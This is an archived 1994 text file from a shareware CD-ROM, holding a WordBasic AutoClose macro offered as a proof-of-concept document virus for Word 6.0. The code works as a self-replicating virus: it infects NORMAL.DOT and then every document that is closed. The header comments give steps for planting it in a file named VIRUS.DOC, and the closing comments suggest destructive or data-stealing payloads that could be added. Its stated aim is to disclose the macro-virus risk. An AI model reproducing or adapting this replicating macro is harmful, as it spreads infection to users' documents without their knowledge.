home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / MVUPDAT3.ZIP / DMVWORD.ZIP / DMVWORD.MAC < prev    next >
Text File  |  1995-09-20  |  3KB  |  88 lines

  1. REM This demonstrates an application-specific document virus
  2. REM generated by an automatic macro in Microsoft Word 6.0.
  3. REM Code is executed each time a document is closed.  This
  4. REM macro is only a demonstration, and does not perform any
  5. REM destructive actions.
  6.  
  7. REM The purpose of this code is to reveal a significant security
  8. REM risk in software that supports macro languages with 
  9. REM auto-loading capabilities.  Current virus detection tools are
  10. REM currently not capable of detecting this type of virus, and
  11. REM most users are blissfully unaware that threats can come from
  12. REM documents.
  13.  
  14. REM Paste this code in the macro Window of a Word document
  15. REM template.  Save the macro as AutoClose.  Enter some random
  16. REM text in the main word processing window and save the document.
  17. REM Now copy the file, naming the new file VIRUS.DOC.  Open
  18. REM VIRUS.DOC in Word.  It will appear as a normal document, but
  19. REM when you close the document, the virus will execute.
  20.  
  21. REM Message boxes display progress as the code is executed.
  22. REM Code is commented.
  23.  
  24. REM joelm@eskimo.com, December 17, 1994
  25. REM -----------------------------------------------
  26. Sub MAIN
  27. title$ = "Document Macro Virus"
  28. MsgBox "Counting global macros.", title$, 16
  29. REM check how many macros are globally available.
  30. total = CountMacros(0)
  31. present = 0
  32.  
  33. REM Check and see if the AutoClose macro is installed in global.
  34. If total > 0 Then
  35.     For cycle = 1 To total
  36.         If MacroName$(cycle, 0) = "AutoClose" Then
  37.         MsgBox "AutoClose macro virus is already installed in NORMAL.DOT.", title$, 16
  38.             present = 1
  39.         End If
  40. End If
  41.  
  42. REM Get the current document name.
  43. a$ = WindowName$() + ":AutoClose"
  44.  
  45. REM If AutoClose isn't present, then copy it to NORMAL.DOT.
  46. If present <> 1 Then
  47.     MacroCopy a$, "Global:AutoClose"
  48.     MsgBox "Infected NORMAL.DOT with copy of AutoClose macro virus.", title$, 16
  49.  
  50. REM The following code infects a document each time it is closed.
  51. REM This effectively spreads the macro virus each time an infected
  52. REM document is opened by Word.
  53.  
  54. Else
  55.     REM If AutoClose is already global and the file hasn't been
  56.     REM infected yet, save the current file as a
  57.     REM template instead of a document so the macro can be 
  58.     REM attached.
  59.  
  60.     REM See if AutoClose is already in the document.  Don't need
  61.     REM to check names because the virus would be the only code
  62.     REM putting a macro in a document.
  63.  
  64.     present = 0
  65.     If CountMacros(1) <> 0 Then
  66.         MsgBox "AutoClose macro virus already present in this document.", title$, 16
  67.         present = 1
  68.     End If
  69.  
  70.     If present = 0 Then
  71.         FileSaveAs .Format = 1
  72.         MsgBox "Saved current document as template.", title$, 16
  73.     
  74.         REM Then copy the AutoClose macro from NORMAL.DOT.
  75.  
  76.         MacroCopy "Global:AutoClose", a$
  77.         MsgBox "Infected current document with copy of AutoClose macro virus.", title$, 16
  78.     End If
  79. End If
  80.  
  81. REM After the document or NORMAL.DOT has been infected, then
  82. REM execute the following macro code (this could be destructive,
  83. REM such as a Kill command, invasive, such as a Connect and
  84. REM CopyFile command, or harmless, with no malacious intent).
  85.  
  86. MsgBox "Macro virus has been spread.  Now execute some other code (good, bad, or indifferent).", title$, 16
  87. End Sub
  88.